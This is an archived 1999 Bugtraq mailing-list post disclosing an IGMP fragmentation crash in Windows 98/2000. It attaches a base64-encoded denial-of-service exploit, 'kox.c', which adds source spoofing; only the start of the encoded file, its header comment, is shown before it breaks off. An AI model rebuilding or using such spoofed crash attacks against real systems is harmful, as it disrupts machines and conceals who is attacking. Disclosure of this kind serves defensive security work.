|
Date: Sat, 3 Jul 1999 17:56:29 -0700 From: Coolio <coolio@K-R4D.COM> To: BUGTRAQ@netspace.org Subject: IGMP fragmentation bug in Windows 98/2000 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --1378956146-1701829432-931049789=:22861 Content-Type: TEXT/PLAIN; charset=US-ASCII Windows 98's TCP/IP stack chokes on fragmented IGMP packets. There is an exploit out there called "fawx" that supposedly exploits this problem, but I haven't had any success crashing Windows with it. Recently I was given source to a program that reliably crashed Win98/98SE/2000 build 2000 and challenged my friend defile to see who could write a version of it utilizing handcrafted igmp/ip headers for source spoofing support. Here is the resulting code that works against most systems with one or two tries. --1378956146-1701829432-931049789=:22861 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="kox.c" Content-Transfer-Encoding: BASE64 Content-ID: <Pine.BSF.4.02A.9907031756291.22861@leet.k-r4d.com> Content-Description: Content-Disposition: attachment; filename="kox.c" LyoqKg0KCUtveCBieSBDb29saW8gKGNvb2xpb0BrLXI0ZC5jb20pDQoNCgl0 aGlzIHdhcyBhIHN1Y2Nlc3NmdWwgYXR0ZW1wdCB0byBkdXBsaWNhdGUga2xl cHRvL2RlZmlsZSdzIGtvZCB3aW45OA0KCWV4cGxvaXQgYW5kIGFkZCBzcG9v ZmluZyBzdXBwb3J0IHRvIGl0LiBtZSBhbmQgZGVmaWxlIG1hZGUgdGhpcyBh DQoJcmFjZSB0byBzZWUgd2hvIGNvdWxkIGRvIHNwb29maW5nIGtvZCBmaXJz dC4gaGUgd29uLiAobWluZSdzIGJldHRlciEpDQoJbXkga294IGFuZCBkZWZp bGUncyBza29kIG91dHB1dCBhYm91dCB0aGUgc2FtZSBwYWNrZXRzDQoJYnV0 IGhlIGhhZCBza29kIHdvcmtpbmcgYSBmZXcgaG91cnMgYmVmb3JlIGkgaGFk IGtveCB3b3JraW5nLg0KDQoJYWZmZWN0ZWQgc3lzdGVtczogd2luZG93cyA5 OC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